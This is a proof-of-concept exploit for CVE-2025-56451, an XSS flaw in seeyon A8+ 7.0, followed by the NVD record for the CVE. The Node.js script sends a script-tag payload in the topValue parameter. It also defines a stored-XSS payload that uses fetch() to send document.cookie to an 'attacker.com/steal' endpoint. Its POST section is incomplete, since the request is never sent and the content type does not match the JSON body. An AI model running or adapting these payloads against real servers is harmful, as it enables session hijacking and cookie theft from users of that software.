CVE-2025-56451

// CVE-2025-56451 PoC - XSS in seeyon A8+ topValue parameter // Target: seeyon/main.do const http = require('http'); // Construct malicious XSS payload const xssPayload = '<script>alert(document.cookie)</script>'; const encodedPayload = encodeURIComponent(xssPayload); // Target URL with malicious topValue parameter const targetUrl = `/seeyon/main.do?topValue=${encodedPayload}`; const options = { hostname: 'target-server.com', port: 80, path: targetUrl, method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Cookie': 'JSESSIONID=attacker_session' } }; const req = http.request(options, (res) => { console.log(`Status: ${res.statusCode}`); res.on('data', (chunk) => { console.log(chunk.toString()); }); }); req.on('error', (e) => { console.error(`Problem with request: ${e.message}`); }); req.end(); // Alternative: Stored XSS via POST request const postData = JSON.stringify({ 'topValue': '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>' }); const postOptions = { hostname: 'target-server.com', port: 80, path: '/seeyon/main.do', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData) } };

{"cve": {"id": "CVE-2025-56451", "sourceIdentifier": "[email protected]", "published": "2026-01-16T22:16:18.623", "lastModified": "2026-02-05T21:49:42.783", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross site scripting vulnerability in seeyon Zhiyuan A8+ Collaborative Management Software 7.0 via the topValue parameter to the seeyon/main.do endpoint."}, {"lang": "es", "value": "Vulnerabilidad de cross-site scripting en el software de gestión colaborativa seeyon Zhiyuan A8+ 7.0 a través del parámetro topValue al endpoint seeyon/main.do."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:seeyon:a8\\+_collaborative_management:7.0:sp3:*:*:*:*:*:*", "matchCriteriaId": "4417EAD3-A2FB-43D1-8208-7A3E0360E99D"}]}]}], "references": [{"url": "https://gist.github.com/076w/b223381ba06b05845d919fb29619777b", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.yuque.com/076w/syst1m/zlp7c6hmowx6cg51?singleDoc", "source": "[email protected]", "tags": ["Exploit"]}]}}